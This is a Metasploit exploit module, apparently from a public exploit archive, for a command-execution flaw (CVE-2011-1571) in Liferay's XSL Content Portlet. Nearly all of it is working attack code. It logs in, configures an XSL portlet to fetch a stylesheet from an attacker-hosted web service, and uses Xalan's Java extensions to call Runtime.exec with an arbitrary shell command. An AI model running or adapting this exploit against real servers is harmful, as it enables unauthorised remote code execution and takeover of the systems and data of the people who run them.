Liferay XSL Command Execution

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
require 'active_support/json'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::Remote::HttpServer  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Liferay XSL Command Execution',  
'Description' => %q{  
This module exploits a vulnerability in the XSL parser of the  
XSL Content Portlet. When Tomcat is present, arbitrary code  
can be executed via java calls in the data fed to the Xalan  
XSLT processor. If XSLPAGE is defined, the user must have rights  
to change the content of that page (to add a new XSL portlet),  
otherwise it can be left blank and a new one will be created.  
The second method however, requires administrative privileges.  
},  
'Author' =>   
[  
# SecureState R&I Team - Special Thanks To Jake Garlie, Chris Murrey  
'Spencer McIntyre',  
'SecureState R&I Team', # SecureState Research and Innovation Team  
'Nicolas Gregoire', # authored the vulnerability details provided in the wiki  
],  
'License' => MSF_LICENSE,  
'Version' => '$Revision: $',  
'References' =>  
[  
[ 'CVE', '2011-1571' ],  
[ 'URL', 'http://xhe.myxwiki.org/xwiki/bin/view/XSLT/Application_Liferay' ],  
],  
'Privileged' => false,  
'Platform' => [ 'win', 'linux', 'unix' ],  
'Stance' => Msf::Exploit::Stance::Aggressive,  
'Payload' =>  
{  
'DisableNops' => true,  
'Compat' =>  
{  
'PayloadType' => 'cmd',  
}  
},  
'Arch' => ARCH_CMD,  
'Targets' =>  
[  
[ 'Automatic', { 'groupid' => 0, 'pauth' => false } ],  
[ 'Liferay 5.2.3 (Tomcat/JBoss)', { 'groupid' => 16, 'pauth' => false } ],  
[ 'Liferay 6.0.0 (Tomcat/JBoss)', { 'groupid' => 18, 'pauth' => false } ],  
[ 'Liferay 6.0.1-6 (Tomcat/JBoss)', { 'groupid' => 18, 'pauth' => true } ],  
],  
'DisclosureDate' => 'January 12, 2011', # Liferay portal issue # 14726  
'DefaultTarget' => 0))  
  
register_options(  
[  
Opt::RPORT(8080),  
OptString.new('USERNAME', [ true, 'The username to authenticate as' ]),  
OptString.new('PASSWORD', [ true, 'The password for the specified username', ]),  
OptString.new('XSLPAGE', [ false, 'Full path to the page to add an XSL portlet to, (default: random)', nil ]),  
OptString.new('PATH', [ true, 'The URI path of the portal', '/' ]),  
], self.class)  
end  
  
def auto_target(headers)  
print_status("Attempting to automatically select a target...")  
case headers['liferay-portal']  
when /5.2.3/  
return targets[1]  
when /6.0.0/  
return targets[2]  
when /6.0.[1-6]/  
return targets[3]  
end  
return nil  
end  
  
def exploit  
print_status('Logging in and creating a page to embed XSL Content into...')  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => datastore['PATH'] + 'web/guest/home'  
})  
  
mytarget = target  
if (target.name =~ /Automatic/)  
mytarget = auto_target(res.headers)  
if (not mytarget)  
raise RuntimeError, "Unable to automatically select a target"  
end  
print_status("Automatically selected target \"#{mytarget.name}\"")  
else  
print_status("Using manually select target \"#{mytarget.name}\"")  
end  
sessionid = 'JSESSIONID=' << res.headers['set-cookie'].split('JSESSIONID=')[1].split('; ')[0]  
cookie = "#{sessionid}; COOKIE_SUPPORT=true"  
  
app_base = rand_text_alphanumeric(8+rand(8))  
new_page = datastore['XSLPAGE'] || rand_text_alphanumeric(8+rand(8))  
malicious_url = "http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{app_base}"  
@xsl_data = run_cmd_with_xsl(payload.encoded) # this is really the data returned for XSL and XML requests  
service_url = 'http://' + datastore['SRVHOST'] + ':' + datastore['SRVPORT'] + resource_uri  
print_status("Starting up our web service on #{service_url} ...")  
start_service({'Uri' => {  
'Proc' => Proc.new { |cli, req|  
on_request_uri(cli, req, 'XSL')  
},  
'Path' => '/' + app_base + '.xsl'  
}})  
start_service({'Uri' => {  
'Proc' => Proc.new { |cli, req|  
on_request_uri(cli, req, 'XML')  
},  
'Path' => '/' + app_base + '.xml'  
}})  
  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => datastore['PATH'] + 'web/guest/home?p_p_id=58&p_p_lifecycle=1&p_p_state=normal&p_p_mode=view&p_p_col_id=column-1&p_p_col_count=1&saveLastPath=0&_58_struts_action=%2Flogin%2Flogin',  
'data' => "_58_redirect=&_58_rememberMe=false&_58_login=#{Rex::Text.uri_encode(datastore['USERNAME'], 'hex-normal')}&_58_password=#{Rex::Text.uri_encode(datastore['PASSWORD'], 'hex-normal')}",  
'cookie' => cookie  
})  
  
if res.code != 302  
print_error('Login failed.')  
return  
end  
  
cookie = ''  
for cookie_i in [ 'JSESSIONID=', 'LOGIN=', 'SCREEN_NAME=', 'COMPANY_ID=', 'ID=', 'PASSWORD=', 'REMEMBER_ME=' ]  
cookie << cookie_i + res.headers['set-cookie'].split(cookie_i)[1].split('; ')[0] + '; '  
end  
xml_http_request_headers = { 'X-Requested-With' => 'XMLHttpRequest' }  
  
if datastore['XSLPAGE'] == nil # the page was not defined, so we try to create a new one  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => datastore['PATH'] + 'c/layout_management/update_page',  
'data' => "mainPath=%2Fc&doAsUserId=&cmd=add&groupId=#{mytarget['groupid']}&privateLayout=false&parentLayoutId=0&name=#{new_page}",  
'cookie' => cookie,  
'headers' => xml_http_request_headers,  
})  
if res.code != 200 or res.body == ""  
print_error('Could not create a new page to embed the XSL Content into...')  
return  
end  
new_page = datastore['PATH'] + 'web/guest/' + URI.parse(ActiveSupport::JSON.decode(res.body)['url']).path.split('/')[-1] # could possible be different and have a number at the end  
print_status("Successfully created page #{new_page}, now configuring XSL...")  
else  
new_page = datastore['PATH'] + 'web/guest/' + datastore['XSLPAGE']  
end  
  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => new_page,  
'cookie' => cookie  
})  
  
plid = /getPlid:function\(\)\{return"[\d]{3,7}"}/i.match(res.body)[0][26..-3].to_i  
layoutid = /getLayoutId:function\(\)\{return\"[\d]{1,5}\"\}/i.match(res.body)[0][30..-3].to_i  
if mytarget['pauth']  
pauth = 'p_auth=' + /\?p_auth=[a-zA-Z0-9]{3,12}&/i.match(res.body)[0][8..-6] + '&'  
else  
pauth = '' # versions prior to 6.0.1 do not require a p_auth token  
end  
  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => datastore['PATH'] + 'c/portal/update_layout',  
'data' => "p_l_id=#{plid}&p_p_id=102&p_p_col_id=column-1&p_p_col_pos=0&doAsUserId=&dataType=json&cmd=add&currentURL=#{Rex::Text.uri_encode(new_page, 'hex-normal')}",  
'cookie' => cookie,  
'headers' => xml_http_request_headers,  
})  
if res.code != 200  
print_error('Could not create a new page to embed the XSL Content into...')  
return  
end  
  
portletid = /p_p_id_[\d]{1,4}_INSTANCE_[a-zA-Z0-9]{2,5}/i.match(res.body)[0][7..-1]  
  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => "#{new_page}?#{pauth}p_p_id=86&p_p_lifecycle=1&p_p_state=maximized&p_p_mode=view&_86_struts_action=%2Fportlet_configuration%2Fedit_configuration&_86_returnToFullPageURL=#{Rex::Text.uri_encode(new_page, 'hex-normal')}&_86_portletResource=#{portletid}&_86_previewWidth=450",  
'data' => "_86_cmd=update&_86_xmlURL=#{Rex::Text.uri_encode(malicious_url, 'hex-normal')}.xml&_86_xslURL=#{Rex::Text.uri_encode(malicious_url, 'hex-normal')}.xsl",  
'cookie' => cookie,  
})  
  
if res.code != 200  
print_error('Could not configure the XSL Portlet')  
return  
end  
  
print_status("Successfully configured XSL Portlet, requesting page to execute code...")  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => new_page,  
'cookie' => cookie  
})  
  
# wait for the data to be sent  
waited = 0  
while (not @xsl_sent)  
select(nil, nil, nil, 1)  
waited += 1  
if (waited > 30)  
raise RuntimeError, 'Server did not request XSL data -- Maybe it cant connect back to us?'  
end  
end  
  
print_status("Shutting down the web service...")  
stop_service  
return  
  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => datastore['PATH'] + 'c/portal/update_layout',  
'cookie' => cookie,  
'data' => "p_l_id=#{plid}&p_p_id=#{portletid}&doAsUserId=&cmd=delete"  
})  
  
if datastore['XSLPAGE'] == nil # we created the page, so delete it  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => datastore['PATH'] + 'c/layout_management/update_page',  
'data' => "doAsUserId=&cmd=delete&groupId=#{mytarget['groupid']}&privateLayout=false&layoutId=#{layoutid}",  
'cookie' => cookie,  
'headers' => xml_http_request_headers,  
})  
end  
end  
  
# Handle incoming requests from the server  
def on_request_uri(cli, request, resource)  
print_status("Sending the #{resource} File to the server...")  
send_response(cli, @xsl_data)  
@xsl_sent = true  
end  
  
def run_cmd_with_xsl(cmd)  
varpayload = rand_text_alpha(10+rand(8))  
varruntime = rand_text_alpha(10+rand(8))  
varproc = rand_text_alpha(10+rand(8))  
payload = "<xsl:stylesheet xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\" xmlns:jv=\"http://xml.apache.org/xalan/java\" exclude-result-prefixes=\"jv\" version=\"1.0\">\n"  
payload << " <xsl:template match=\"/\">\n"  
payload << " <xsl:variable name=\"#{varruntime}\" select=\"jv:java.lang.Runtime.getRuntime()\"/>\n"  
payload << " <xsl:variable name=\"osversion\" select=\"jv:java.lang.System.getProperty('os.name')\"/>\n"  
payload << " <xsl:variable name=\"osversion\" select=\"jv:toLowerCase($osversion)\"/>\n\n"  
  
payload << " <xsl:choose>\n"  
payload << " <xsl:when test=\"contains($osversion,'windows')\">\n"  
payload << " <xsl:variable name=\"#{varpayload}\"><![CDATA[#{cmd}]]></xsl:variable>\n"  
payload << " <xsl:variable name=\"#{varproc}\" select=\"jv:exec($#{varruntime}, $#{varpayload})\"/>\n"  
payload << " </xsl:when>\n\n"  
  
payload << " <xsl:otherwise>\n"  
payload << " <xsl:variable name=\"#{varpayload}\"><![CDATA[/bin/sh ==== -c ==== #{cmd}]]></xsl:variable>\n"  
payload << " <xsl:variable name=\"#{varpayload}\" select=\"jv:split($#{varpayload}, ' ==== ')\"/>\n"  
payload << " <xsl:variable name=\"#{varproc}\" select=\"jv:exec($#{varruntime}, $#{varpayload})\"/>\n"  
payload << " </xsl:otherwise>\n"  
payload << " </xsl:choose>\n\n"  
  
payload << " </xsl:template>\n"  
payload << "</xsl:stylesheet>\n"  
payload  
end  
end  
`